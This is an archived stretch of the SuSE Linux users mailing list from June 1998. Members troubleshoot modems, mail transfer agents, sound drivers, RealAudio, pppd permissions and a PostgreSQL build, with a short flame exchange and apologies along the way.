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On 11-Jun-98 Michael Kalisz wrote:
> Where can I get more information how to make a PCMCIA internal modem
> working??
> 
> I've installed Suse 5.1 om my HP omnibook 5500 laptop and it works
> great. The only thing
> I can't mannage to get working is the modem.
> 
> When duelboot and run NT  the modem works ok, and when I boot Linux the
> cardmgr recognizes the card. but when I run minicom I cant get in
> conntact with the modem.
> 
> Any clues or helpfull links??

This is a shot in the dark: it may help, or not.

I don't have SuSE installed on a laptop but I do have a Red Hat 4.1
(kernel 2.0.27) installed, and I have PCMCIA cards for ethernet and modem.

I find the following for the ethernet card:

1. Boot from cold (i.e. switch on). The card is not recognised (i.e. is
   mis-recognised as a memory card).
2. Warm reboot (Ctrl-Alt-Del). This time the card is recognised as an
   ethernet card and all is OK.

For the modem card:

1. Boot from cold (i.e. switch on). The card is not recognised (i.e. is
   mis-recognised as a memory card).
2. Warm reboot. This time the card is STILL not recognised.
3. Warm reboot yet again. This time the card is rcognised and (for instance)
   minicomm will run and I can dial out, etc.

I don't know why this happens. I suspect it is a combination of  modules not
being loaded at the best moment during boot, and the cards requiring some sort
of initialisation which is not complete by the time the OS looks for them.

Anyway, be that as it may, do try the "repeated warm boot" trick and see if
you eventually get there. If not, nothing lost!

Best of luck.
Ted.

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From hlarons@ComCAT.COM Thu Jun 11 14:10:20 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Thu, 11 Jun 1998 10:10:20 -0400
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Dwight Johnson wrote:
>
[lots of background snipped] 
>
[fantastic info re sendmail snipped (reluctantly) for brevity]
> # sendmail -v -q
> 
> What do you see?
> 
> Dwight

I promise to experiment with your suggestions. However, I do not have
sendmail installed, just smail. When I was trying to use sendmail, I
always got error messages indicating that sendmail had been unable to
properly parse my messages into a valid address. I'm sure that my
sendmail config file was never right, but I never could fix it :-(

I wasn't getting the localhost, smarthost, etc right.

On the Netscape front, I find that Netscape behaves better if one is
not using it as root, and if a bogus newsserver is put in the configs,
per a recent suggestion to me on this list.

More info, and hopefully a solution to follow.

Thanks for your help.

Howard Arons

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From dwj@aaronsrod.com Thu Jun 11 14:51:32 1998
From: dwj@aaronsrod.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Thu, 11 Jun 1998 07:51:32 -0700
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On Thu, 11 Jun 1998, Juergen Braukmann wrote:

> you might need to reconfig sendmail via some m4 macro.
> there is a description in the german SDB for that.
 
sendmail comes perfectly configured directly from SuSE to
be used with dial-up ppp. No reconfiguration should be
necessary.

In the unlikely event that some reconfiguration might be
useful, YaST handles the most frequently used reconfigurations,
i.e., uucp, expensive mail, without the need to directly
use m4.

> if it won't work, drop a few lines.
 
sendmail is a complex and sophisticated program. Random
experiments like this are very unlikely to yield useful
results.

Dwight

> Dwight Johnson wrote:
> > 
> > On Wed, 10 Jun 1998, Howard Arons wrote:
> > 
> > >
> > > Dwight Johnson wrote:
> > > >
> > > > Just set outgoing mail server and incoming mail server to 'localhost'.
> > > > Your onboard sendmail daemon will then handle the mail.
> > >
> > > Well, you see, Dwight, the problem is that I'm using Netscape Mail
> > > 'cause I never could get sendmail to work for me to send outgoing mail
> > > (from Mutt) to my SMTP server over a PPP connection.


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From satan@nfinity.com Thu Jun 11 16:45:38 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE Linux
Date: Thu, 11 Jun 1998 11:45:38 -0500
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You obviously must not be a native english speaker or you would have
understood my previous post on this matter. For the record, SuSE always
upgrades the meat and potatoes in their new distributions, I said that
the challenge facing them was to include something new with each new
distribution, not just the obligatory incremental upgrades.  No one is a
bigger proponent of SuSE linux than I am.  I suggest you visit the
mailing list archive at SuSE's website, you obviously haven't been
following this discussion.

W.D.McKinney wrote:
>=20
> With all the discussion about 5.3 out and what is
> in the distributions.....
> Look at http://www.suse.com/P=
roduct/lx52/index.html#NEW>
> and tell me that SuSE's track record doesn't have "meat & potatoes"
> upgrades in it's releases.
>=20
> Get out of the "cheese & cracker club" and stop whining.
> Let the good folks do what they do well and that is put out
> a whoppin good distribution.
>=20
> -Regards
> Dee
>=20
> W.D.McKinney (Dee) -=3D- deem(a)wdm.com
> No claim to fame, just saved by Grace.
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From satan@nfinity.com Thu Jun 11 17:04:48 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 12:04:48 -0500
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I apologize for my somewhat terse reply re. this thread.  Here is my
post that was taken by Mckinney as being "whining".  I fail to see any
whining or dissatisfaction with SuSE in these comments.  I stand by
these remarks, and I stand by my belief that SuSE linux is the finest
quality dist available.  I do not wish to engage in any flame wars on
this or any other public forum.  I was just irritated when I was taken
so far out of the context of my intent, and I replied defensively as is
human nature.

I wrote:
>..as well as a new bash and a new libc5.  There will always be the meat
>and potatoes upgrades to make with each new dist, I think the challenge
>is for SuSE to offer something new with each new dist, not just
>incremental upgrades of basic libraries and tools.

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From eck@ti.com Thu Jun 11 17:09:07 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help Needed: Xboing Sound Missing
Date: Thu, 11 Jun 1998 12:09:07 -0500
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Hi,
Three problems I'm having with SuSE 5.2:

1) Xboing does not have sound. Sound compiled into the kernel.
   cat *.au >/dev/audio works as well as xpat2 give sounds.
   Does anyone use xboing with sound? 

2) I have a program which uses ncurses to control where the curser
   is located in a terminal. Under RedHat it works as expected but
   under SuSE the display of information to the termianl is not
   correct. Is there something basically different between the ncurses
   used in RedHat and SuSE. I've even recompiled the program under SuSE.

3) I run quake2 under both RedHat and SuSE. Does anyone know why the
   save files from RedHat cannot be used under SuSE and those from SuSE
   cannot be used by RedHat. I get a seg falt when trying to load a saved
   game from the other linux distribution.

   Thank you for your time.

   Terry

_____________________________________________________________________________
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From mgx@spruce.lsd.ornl.gov Thu Jun 11 17:27:13 1998
From: mgx@spruce.lsd.ornl.gov
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] no sound yet ...
Date: Thu, 11 Jun 1998 13:27:13 -0400
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good day all ...

i'm having a little trouble getting sound configured on my laptop. it's
a gateway solo 2200/suse 5.2 box. i build sound into the kernel without
any problem. in make xconfig i checked yes to sound card support, to
ensoniq soundscape support, and to /dev/dsp and /dev/audio support.
compiled the kernel with no problem, copied the new kernel to / and
reran lilo. still no sound and no indication of sound support in /var
/log/messages. 

am i missing something here? thanks!


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From satan@nfinity.com Thu Jun 11 18:05:52 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help Needed: Xboing Sound Missing
Date: Thu, 11 Jun 1998 13:05:52 -0500
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Terry Eck wrote:
> 
> Hi,
> Three problems I'm having with SuSE 5.2:
> 
> 1) Xboing does not have sound. Sound compiled into the kernel.
>    cat *.au >/dev/audio works as well as xpat2 give sounds.
>    Does anyone use xboing with sound?
> 
> 2) I have a program which uses ncurses to control where the curser
>    is located in a terminal. Under RedHat it works as expected but
>    under SuSE the display of information to the termianl is not
>    correct. Is there something basically different between the ncurses
>    used in RedHat and SuSE. I've even recompiled the program under SuSE.
> 
> 3) I run quake2 under both RedHat and SuSE. Does anyone know why the
>    save files from RedHat cannot be used under SuSE and those from SuSE
>    cannot be used by RedHat. I get a seg falt when trying to load a saved
>    game from the other linux distribution.
> 
>    Thank you for your time.
> 
>    Terry

Well redhat 5.x is glibc, so that may be the reason your save games
won't play in a libc5 dist.  As for cut and paste in an xterm/rxvt, I
think the package is called xcb.  And sound generally works better as a
module.

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From satan@nfinity.com Thu Jun 11 18:15:42 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] no sound yet ...
Date: Thu, 11 Jun 1998 13:15:42 -0500
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read the sound how-to.  generally, sound works better as a module. and
make sure you have the correct irq and dma settings.
good luck 

Michael Galloway wrote:
> 
> good day all ...
> 
> i'm having a little trouble getting sound configured on my laptop. it's
> a gateway solo 2200/suse 5.2 box. i build sound into the kernel without
> any problem. in make xconfig i checked yes to sound card support, to
> ensoniq soundscape support, and to /dev/dsp and /dev/audio support.
> compiled the kernel with no problem, copied the new kernel to / and
> reran lilo. still no sound and no indication of sound support in /var
> /log/messages.
> 
> am i missing something here? thanks!
> 
> --
> -- michael

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From root@pop.intergate.bc.ca Thu Jun 11 18:18:23 1998
From: root@pop.intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 11:18:23 -0700
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I don't think she/he was talking to you personally. I think it was 'thread
intensive' and was more or less cut and dried 'Don't worry about
fluff....just appreciate the good solid stuff that comes with the
dist'...in other words Enlightenment, WM, etc are nice to have but are
'cheese and crackers' etc and subsequently unworthy of discussion. I found
the mail obnoxious but didn't, like
yourself, want to 'flame'. I think the point was in  people suggesting
some
extra stuff
they'd like to see in the dist so they don't need to either 1) use more
than one dist or 2) spend tons of time building and modifying SuSE to
include stuff they'd like to see on the CDs. I don't think anyone was
complaining about the quality
of SuSE Linux, which we all seem to agree is quite exceptional and the
best dist there is. I'm not sure where the idea of 'whining' came from.
Sounds like something that could be remedied by hitting the 'think' button
before the 'send' button. 

She said: "You know you aren't a very good singer..."
I said:   "That's nothing!! You should hear me play piano !!"
Morrissey	

On Thu, 11 Jun 1998, Michael Lankton wrote:

> 
> I apologize for my somewhat terse reply re. this thread.  Here is my
> post that was taken by Mckinney as being "whining".  I fail to see any
> whining or dissatisfaction with SuSE in these comments.  I stand by
> these remarks, and I stand by my belief that SuSE linux is the finest
> quality dist available.  I do not wish to engage in any flame wars on
> this or any other public forum.  I was just irritated when I was taken
> so far out of the context of my intent, and I replied defensively as is
> human nature.
> 
> I wrote:
> >..as well as a new bash and a new libc5.  There will always be the meat
> >and potatoes upgrades to make with each new dist, I think the challenge
> >is for SuSE to offer something new with each new dist, not just
> >incremental upgrades of basic libraries and tools.
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From Jochen_Hayek@ACM.org Thu Jun 11 18:27:18 1998
From: Jochen_Hayek@ACM.org
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] no sound yet ...
Date: Thu, 11 Jun 1998 19:27:18 +0100
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>>>>> "MG" == Michael Galloway  writes:

    MG> good day all ...

    MG> i'm having a little trouble getting sound configured on my
    MG> laptop. it's a gateway solo 2200/suse 5.2 box. i build sound
    MG> into the kernel without any problem. in make xconfig i checked
    MG> yes to sound card support, to ensoniq soundscape support, and
    MG> to /dev/dsp and /dev/audio support.

I personally regard the standard Linux sound system as outdated
- have a look at the driver files time stamps!

I'm using `oss' (open sound system (?!!)),
some cheap commercial software - I think you find a trial version of it
on the SuSE installation CD as an rpm package.

    MG> compiled the kernel with no problem, copied the new kernel to
    MG> / and reran lilo.

    MG> still no sound and no indication of sound support in /var
    MG> /log/messages.

    MG> am i missing something here? thanks!

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From jpcowh01@ox.slug.louisville.edu Thu Jun 11 19:29:12 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] no sound yet ...
Date: Thu, 11 Jun 1998 15:29:12 -0400
Message-ID: <199806111929.PAA23602@ox.slug.louisville.edu>
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> I'm using `oss' (open sound system (?!!)),
> some cheap commercial software - I think you find a trial version of it
> on the SuSE installation CD as an rpm package.
>=20
>     MG> compiled the kernel with no problem, copied the new kernel to
>     MG> / and reran lilo.
>=20
>     MG> still no sound and no indication of sound support in /var
>     MG> /log/messages.
>=20
>     MG> am i missing something here? thanks!

        Is the sound device on your laptop pnp?  if so look in to using isapn=
ptools to configure and activate your card...

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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
                  http://www.slug.louisville.=
edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From esmith@onlink.net Thu Jun 11 21:00:14 1998
From: esmith@onlink.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] RealAudio problem with SuSE 5.2
Date: Thu, 11 Jun 1998 17:00:14 -0400
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Sorry, it took me a while to figure out why I was having problems with
the Real Video Player.  I finally got it to work by forgetting about
the  oss rpm drivers and ended up compiling sound as a module and
setting up isapnptools for my awe 64 card.  After that it now works
fine.

lsayre wrote:
> 
> Hello Edward;
> 
> You are right in that the CPU usage meter goes straight to 100%, but
> when paused it drops to zero, then when play is depressed again it goes
> straight to 100% CPU usage again, while another snippet of sound is
> heard.
> 
> I noticed that you and I both have the Millenium I video card, and a
> similar set-up and equipment (except my processor is the Cyrix P200+).
> I have only 32 meg of ram, to your 64, but since its happening the same
> way with 64 meg, I don't think its a memory problem.  Since we both
> experience the same problem with different CPU's, I doubt the CPU is at
> fault.  Could it be a video card conflict problem?
> 
> Is anyone using an original Millenium video card having this problem, or
> on the contrary, is anyone in this category successfully using RealAudio
> 5.0 (the free version) with no problems?
> 
> Lawrence Sayre 
> 
> Edward Smith wrote:
> >
> > Yes, I know how you feel.  I am experiencing the same problems.  But
> > sorry I'm still trying to figure it out.  I don't think it's the sound
> > though as it will do the same thing with or without the sound driver
> > loaded.  I've noticed watching my cpu usage indicator that it seems to
> > continue to climb up and up when the lock occurs. Also if you pause and
> > press play, it will go again for a few seconds.  I'm not an expert but
> > it looks like it's getting stuck in a loop for some reason.
> >
> > If anyone has any ideas even experimental, it would be gladly accepted
> > and appreciated.
> >
> > OS - Linux, SuSE 5.2 dist.
> > CPU K6-200
> > Sound Card - Sound Blaster AWE 64
> > Mem. - 64M SDRAM
> > OSS install and running fine for other programs.
> > Graphics - Matrox Milliemum I
> > using svga x-server.
> >
> > Thanks in advance
> >
> > Edward Smith
> >
> > lsayre wrote:
> > >
> > > I installed RealAudio, and followed all of the set-up information.
> > >
> > > When I log onto a RealAudio broadcast, I hear the typical 20 second
> > > commercial prior to the live stream, but then about 1 to 1.5 seconds
> > > into the live stream sound stops, and the live stream clock stops dead
> > > also.
> > >
> > > Has anyone else experienced this?
> > >
> > > Is there a fix?
> > >
> > > PS: My sound card is a SB AWE32 PnP, using the OSS driver.  It works
> > > fine for everything else I've tried it with.
> > >
> > > Lawrence Sayre 
> > >
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From mlhanna@arn.net Thu Jun 11 21:23:59 1998
From: mlhanna@arn.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Getting off the list
Date: Thu, 11 Jun 1998 16:23:59 -0500
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Hello All,


    My hard drive crashed and I 
lost the instructions for getting off of this list.  What e-mail address do 
I send my message to stop receiving messages and what do I say?  Thanks in 
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From kiril@u.washington.edu Fri Jun 12 00:03:23 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help with SuSE 5.1 and libc 5.44
Date: Thu, 11 Jun 1998 17:03:23 -0700
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Hi,

I am new to SuSE and I am trying to install the new JDK1.1.6.  In the JDK
readme it recommends that if your distribution is libc, it should be
version 5.44.  My questions regarding this are:
        
        1. Do I have to buy the 5.2 SuSE distribution disks to upgrade?
        
        2. If I can down load the 5.44 libc from somewhere--Where can I 
        get it from online, Is there a SuSE version of the correct rpm to
        do this?

        3.  Since I need to upgrade the library to use JDK1.1.6, is it
        recommendable at this point to upgrade to the newer glibc and 
        then download the glibc version of the JDK?

Thank you for any assistance,
Kerry


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From kimon@wtco.net Fri Jun 12 01:12:35 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] RealAudio problem with SuSE 5.2
Date: Thu, 11 Jun 1998 20:12:35 -0500
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On Thu, 11 Jun 1998, you wrote:
>Sorry, it took me a while to figure out why I was having problems with
>the Real Video Player.  I finally got it to work by forgetting about
>the  oss rpm drivers and ended up compiling sound as a module and
>setting up isapnptools for my awe 64 card.  After that it now works
>fine.
>
>
>lsayre wrote:

Ok.... What did you guys do to solve the problem. I am running SuSE 5.2 with =
OSS
and have a Sounblaster AWE32 and the problem described is exactly what I am
getting. Since everything else works I was starting to think, maybe I needed a
higher CPU. RealAudio plays for an instant and even though it thinks it is st=
ill
playing the sound has mysteriously stopped. On the other hand x11amp and other
stuff works just fine. Please let me know what you guys have discovered...

Thanks,
Kimon Tsinteris

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From satan@nfinity.com Fri Jun 12 02:00:59 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] RealAudio problem with SuSE 5.2
Date: Thu, 11 Jun 1998 21:00:59 -0500
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Try the std sound drivers.  This has been discussed often enough that I
suspect the oss drivers may be the culprit.  I have an awe32 with sound
compiled as a module and realplayer has always worked fine for me.

Kimon Tsinteris wrote:
> Ok.... What did you guys do to solve the problem. I am running SuSE 5.2 wit=
h OSS
> and have a Sounblaster AWE32 and the problem described is exactly what I am
> getting. Since everything else works I was starting to think, maybe I neede=
d a
> higher CPU. RealAudio plays for an instant and even though it thinks it is =
still
> playing the sound has mysteriously stopped. On the other hand x11amp and ot=
her
> stuff works just fine. Please let me know what you guys have discovered...
>

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From hettar@teleport.com Fri Jun 12 05:03:12 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 22:03:12 -0700
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Hia SuSE peoples

I would suggest BlackBox window manager as yet another WM on
the SuSE Distro,  this wm is stable,  you can put it in where
KDE, fvwm2, Afterstep goes and not where Enlightenment and
others go.

BlackBox has a new release 0.33.0 and now is down from
64K to 60K ;)  and has been fixed up even futher..
One fix: was drop-down menus from such applications
as netscape after moveing them from the orignal position
it appered in.

Get BlackBox from http://linux.wiw.org/blackbox>

Now if you need anyhelp with blackbox check out my
help site(seriously) <=
A HREF=3D"http://www.teleport.com/~hettar/linux.htmlhttp://www.teleport.=
com/~hettar/linux.html>
You will find step-by-step instructions and some config files
of mine (that I use) that you can modify for yourself if your totaly
lost.

I am on the Beta Test list (on the BB web page and in the sources)
So if you have questions visit my home site and email me.

Steven Udell
hettar(a)teleport.com
sudell(a)teleport.com
http://www.teleport.com/~hettar>


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From root@pop.intergate.bc.ca Fri Jun 12 06:24:12 1998
From: root@pop.intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Thu, 11 Jun 1998 23:24:12 -0700
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Well, sorry if I snapped. SuSE is the best Linux I've every used and I've
been using Linux for a while now. I think it is evidenced by our mails
that we all
appreciate the work they do and that can't be stated enough. Sorry, if
there was misunderstanding in  that regard.
Michael

She said: "You know you aren't a very good singer..."
I said:   "That's nothing!! You should hear me play piano !!"
Morrissey	

On Fri, 12 Jun 1998, W.D.McKinney wrote:

> mj  wrote:
> > 
> > 
> > I don't think she/he was talking to you personally. I think it was
> > 'thread
> > intensive' and was more or less cut and dried 'Don't worry about
> > fluff....just appreciate the good solid stuff that comes with the
> > dist'...in other words Enlightenment, WM, etc are nice to have but are
> > 'cheese and crackers' etc and subsequently unworthy of discussion. 
> > 
> > 
> 
> Greetings,
> 
> Thanks and just to let you know ..."Dee" is my nickname, with William D.
> McKinney III
> being the birth name. No flame intended, just tired of the continuing 
> "wish it were better"
> type talk. Probably my need to say "I apologise" and keep the ideas
> coming.
> 
> I know a few of the folks from conversations/e-mails and they are great
> help, receptive,
> very responsive and hard working. They do the best job they can keeping
> up with the changes
> and keeping up with the life speed. Nice to let them know they are
> appreciated.
> 
> Best Regards
> -Dee
> 
> 
> 
> 
> W.D.McKinney (Dee) -=- deem(a)wdm.com
> No claim to fame, just saved by Grace.
> 


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From srmontg@ibm.net Fri Jun 12 08:58:33 1998
From: srmontg@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] pppd permissio
Date: Fri, 12 Jun 1998 04:58:33 -0400
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I have setup my ppp-on script which is running fine from my user account
after doing:

chmod u+s pppd

However, once I shutdown and re-boot I get "pppd:Permission denied " when
running ppp-on and have to do the chmod all over again.

What's wrong with this?

Steve


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From mhtexcollins@ccms.net Fri Jun 12 10:20:27 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Non Fatal Error from XServer
Date: Fri, 12 Jun 1998 05:20:27 -0500
Message-ID: <358100EB.20FE21F6@ccms.net>
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No worries!  If messages like that bother you, Then don't go lookin' at
them.   There are so manythings going on that can generate various
errors one cannot worry..   It said nonfatal.   Alas, it is nowhere near
the Blue Screen of death..

Howard Arons wrote:

> Can anyone on this list offer any suggestions re this problem?
> I'm getting nowhere with SuSE's support.
>
>
> Your comments and suggestions, please.
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From ke@suse.de Fri Jun 12 14:11:55 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 'tputs' missing in PostgreSQL compile
Date: Fri, 12 Jun 1998 16:11:55 +0200
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Dwight Johnson  writes:

|   gcc -o psql -L../../interfaces/libpq psql.o stringutils.o \
|   -lpq -ldl -lm -lbsd -lreadline -lhistory  -export-dynamic=20
|   /usr/lib/libreadline.a(display.o): In function `rl_redisplay':
|   display.o(.text+0x9bf): undefined reference to `tputs'
|  =20
|   According to a Usenet post, tputs is in libncurses. But I have
|   libncurses installed:
|  =20
|   # rpm -q ncurses
|   ncurses-4.2-1
|  =20
|   Can anyone give me a clue how to fix this?

The following patch should fix it; after applying, please run `autoconf'
again.

*** postgresql-6.3.2/src/configure.in~	Fri Apr 17 09:00:46 1998
--- postgresql-6.3.2/src/configure.in	Mon May 11 17:37:34 1998
***************
*** 305,311 ****
  dnl fi
  dnl AC_SUBST(HAVECXX)
  dnl ****************************************************************
! HAVECXX=3D'HAVE_Cplusplus=3Dfalse'
  AC_SUBST(HAVECXX)
  INSTALLPATH=3D"/usr/ucb:$PATH"
  AC_PATH_PROGS(INSTALL, ginstall installbsd bsdinst scoinst install, NONE, $=
INSTALLPATH)
--- 305,311 ----
  dnl fi
  dnl AC_SUBST(HAVECXX)
  dnl ****************************************************************
! HAVECXX=3D'HAVE_Cplusplus=3Dtrue'
  AC_SUBST(HAVECXX)
  INSTALLPATH=3D"/usr/ucb:$PATH"
  AC_PATH_PROGS(INSTALL, ginstall installbsd bsdinst scoinst install, NONE, $=
INSTALLPATH)
***************
*** 400,406 ****
  fi
 =20
  AC_CHECK_LIB(sfio,     main)
! AC_CHECK_LIB(curses,   main)
  AC_CHECK_LIB(termcap,  main)
  AC_CHECK_LIB(history,  main)
  AC_CHECK_LIB(readline, main)
--- 400,409 ----
  fi
 =20
  AC_CHECK_LIB(sfio,     main)
! for curses in ncurses curses ; do
!    AC_CHECK_LIB(${curses}, main,
!      [LIBS=3D"-l${curses} $LIBS"; break])
! done
  AC_CHECK_LIB(termcap,  main)
  AC_CHECK_LIB(history,  main)
  AC_CHECK_LIB(readline, main)


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From ke@suse.de Fri Jun 12 14:30:56 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Fri, 12 Jun 1998 16:30:56 +0200
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Steven Udell  writes:

|   So does SuSE have a wish list, to like make comments on what they
|   should have on a up-and-comming distro of thiers? if so where do I
|   find it?

Feel free to use the e-mail address feedback(a)suse.de.

It's always a good idea to write several small messages than _one_ big
message.  This way, it's easier for us to forward the messages to the
one who wants to do the work (=3D the package) ;-)


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From mwagnon@ixpres.com Fri Jun 12 15:31:16 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd permissio
Date: Fri, 12 Jun 1998 08:31:16 -0700
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Hi Steve-

S.u.S.E. has its permissions for some files set up in /etc/permissions.
So everytime you run SuSEConfig (or reboot??) the permissions for your
system are reset from that file, and the permissions for pppd just
happen to be present in /etc/permissions. What I did was comment the
line in /etc/permissions then I ran chmod on pppd.

Luck,

Mark


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Steve Montgomery wrote:
> 
> I have setup my ppp-on script which is running fine from my user account
> after doing:
> 
> chmod u+s pppd
> 
> However, once I shutdown and re-boot I get "pppd:Permission denied " when
> running ppp-on and have to do the chmod all over again.
> 
> What's wrong with this?
> 
> Steve
> 
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From satan@nfinity.com Fri Jun 12 15:31:27 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd permissio
Date: Fri, 12 Jun 1998 10:31:27 -0500
Message-ID: <358149CF.F84B6FF4@nfinity.com>
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1.  chmod 666 /dev/ttySx    (whichever device your modem is)
2.  chown root.root pppd
3.  chmod +s pppd 

You will have to do this everytime you run SuSEconfig as SuSEconfig will
reset the permissions for pppd.  Hope this helps you.

Steve Montgomery wrote:
> 
> I have setup my ppp-on script which is running fine from my user account
> after doing:
> 
> chmod u+s pppd
> 
> However, once I shutdown and re-boot I get "pppd:Permission denied " when
> running ppp-on and have to do the chmod all over again.
> 
> What's wrong with this?
> 
> Steve

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From hlarons@ComCAT.COM Fri Jun 12 16:15:24 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Non Fatal Error from XServer
Date: Fri, 12 Jun 1998 16:15:24 +0000
Message-ID: <199806122016.QAA04497@uz.ComCAT.COM>
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Can anyone on this list offer any suggestions re this problem? 
I'm getting nowhere with SuSE's support.

Howard Arons

------- Forwarded Message Follows -------
To:            support(a)suse.com
Subject:       (Fwd) Non Fatal Error from XServer
Reply-to:      hlarons(a)mail.comcat.com
Date:          Thu, 11 Jun 1998 12:38:10

RE: SuSE 5.2
Reg No. [xxxxxx]

This is my second request for support; the original request dated
June 4 follows. The original request was ack'd by your
autoresponder on June 4.

Please note that this is the second time (out of two requests!)
that I have had to re-request tech support. To say that I'm
disappointed with SuSE support is an understatement.

Howard Arons

------- Forwarded Message Follows -------
To:            support(a)suse.com
Subject:       Non Fatal Error from XServer
Reply-to:      hlarons(a)mail.comcat.com
Date:          Thu, 4 Jun 1998 14:25:11

RE: SuSE 5.2
Reg No. D2L65J

I used XF86config to set up my svga XServer, and the server 
seems to run OK, as does fvwm2 and fvwm95. However, when I 
inspect the server log message, I find two puzzling items:

Item 1. What does this mean (line breaks are arbitrary)? How can I
prevent it? Should I even be concerned? If I disable the xkb
option I can't use e.g. my backspace key any longer.

 System: `/usr/X11R6/lib/X11/xkb/xkbcomp -w 
1-R/usr/X11R6/lib/X11/xkb -xkm -m us -em1 "The XKEYBOARD keymap
compiler (xkbcomp) reports: " -emp "> " -eml "Errors from xkbcomp
are not fatal to the X server" keymap/xfree86
/var/tmp/xfree86.xkm' tail: no process killed

Item 2. The XServer reports that I have specified a 3 button
mouse. This is wrong--I specified a Microsoft 2-button mouse,
which is what I have.

Your comments and suggestions, please.

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From hlarons@ComCAT.COM Fri Jun 12 16:15:24 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] More on Netscape Lockup
Date: Fri, 12 Jun 1998 16:15:24 +0000
Message-ID: <199806122016.QAA04495@uz.ComCAT.COM>
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Dwight Johnson posted a "sendmail" answer to my Netscape lockup 
problem which I have misplaced, so I cannot quote it. I replied 
that I could never get sendmail to send outgoing SMTP messages.

With Dwight's suggestion and a lot of time with man smail, I have 
gotten smail to send messages, but only by the following:

cat  | smail -t    	
The -t option fetches the To address from the 
message itself.

When the message is in smail's outgoing queue file, which is
/var/spool/smail/input (I think), smail -t -q doesn't send the 
message, nor are any errors logged. What's going on? Is it 
required that the queued nail have some standard style filename 
like a message ID?

I think that Dwight's solution will work out fine for me if I can 
get past this.

Howard Arons
Howard A
Please reply to hlarons(a)rice.edu

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From djb@redhat.com Fri Jun 12 16:17:29 1998
From: djb@redhat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2g DAY TWO
Date: Fri, 12 Jun 1998 12:17:29 -0400
Message-ID: <199806121617.MAA00917@chef.redhat.com>
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> C) I noticed that some things that built fine under SuSE 5.2 didn't
> build under SuSE 5.2g.  This was consistent with my brief RedHat 5.0
> experience (Donnie, you know I don't mean that as an assault on RedHat,
> so don't get bent ;) ).  I am not discounting operator error by any
> means,  but regardless, I feel that glibc DOES choke on some source code
> that doesn't pose problems for libc5. =20

Note that there are some differences.  See the Glibc FAQ for the
porting differences...most are pretty simple and many of the patches
can be found in Red Hat SRPMS (most are separated out into .glibc
patches, in fact).

--Donnie


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From srmontg@ibm.net Fri Jun 12 16:54:07 1998
From: srmontg@ibm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] pppd permissio
Date: Fri, 12 Jun 1998 12:54:07 -0400
Message-ID: <35815D2F.DEDD55E4@ibm.net>
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This worked perfectly.  Thank You.

Steve

Mark Wagnon wrote:

> Hi Steve-
>
> S.u.S.E. has its permissions for some files set up in /etc/permissions.
> So everytime you run SuSEConfig (or reboot??) the permissions for your
> system are reset from that file, and the permissions for pppd just
> happen to be present in /etc/permissions. What I did was comment the
> line in /etc/permissions then I ran chmod on pppd.
>
> Luck,
>
> Mark
>
> ---
>


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From gvinyard@med.unr.edu Fri Jun 12 19:31:25 1998
From: gvinyard@med.unr.edu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] LS 120 drive
Date: Fri, 12 Jun 1998 12:31:25 -0700
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Hi all:

I'm just getting started with Linux; trying to get things to work together
and figuring out what the capabilities are.  My question for today is
whether there is a device driver for the Imation LS 120 floppy drives?=20
(This is a nice little drive which reads both ordinary 3.5 disks as well
as a 120 mb floppy of the physical same size.) =20

gv.

  ____________________________________________________
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 |   Gary Vinyard                                     |
 |   Department of Biology /314                       |
 |   University of Nevada                             |
 |   Reno, Nevada  89557-0015                         |
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From kenh@linux.ast-inc.com Fri Jun 12 19:44:56 1998
From: kenh@linux.ast-inc.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Printer problem
Date: Fri, 12 Jun 1998 12:44:56 -0700
Message-ID: <199806121944.MAA21653@linux.ast-inc.com>
